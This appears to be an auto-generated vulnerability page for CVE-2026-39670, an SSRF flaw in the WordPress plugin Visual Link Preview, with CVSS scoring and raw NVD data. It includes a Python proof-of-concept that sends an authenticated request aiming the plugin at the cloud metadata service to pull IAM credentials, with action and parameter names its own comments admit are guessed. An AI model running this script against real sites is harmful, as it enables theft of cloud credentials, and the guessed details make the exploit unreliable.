Security Vulnerability Report
中文
CVE-2026-39670 CVSS 6.0 MEDIUM

CVE-2026-39670

Published: 2026-04-08 09:16:38
Last Modified: 2026-04-24 18:06:04

Description

Server-Side Request Forgery (SSRF) vulnerability in Brecht Visual Link Preview visual-link-preview allows Server Side Request Forgery.This issue affects Visual Link Preview: from n/a through <= 2.3.0.

CVSS Details

CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Visual Link Preview <= 2.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" attacker_cookie = { "wordpress_logged_in_12345": "attacker_session_token_here" } # Malicious SSRF payload targeting internal metadata service # Vulnerable parameter is typically 'url' or similar based on plugin functionality payload = { "action": "visual_link_preview_preview", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: print("[*] Sending SSRF request to target...") response = requests.post( target_url, data=payload, cookies=attacker_cookie, timeout=10 ) if response.status_code == 200: print("[+] Request successful. Check response for leaked data:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39670", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:38.423", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Brecht Visual Link Preview visual-link-preview allows Server Side Request Forgery.This issue affects Visual Link Preview: from n/a through <= 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/visual-link-preview/vulnerability/wordpress-visual-link-preview-plugin-2-3-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}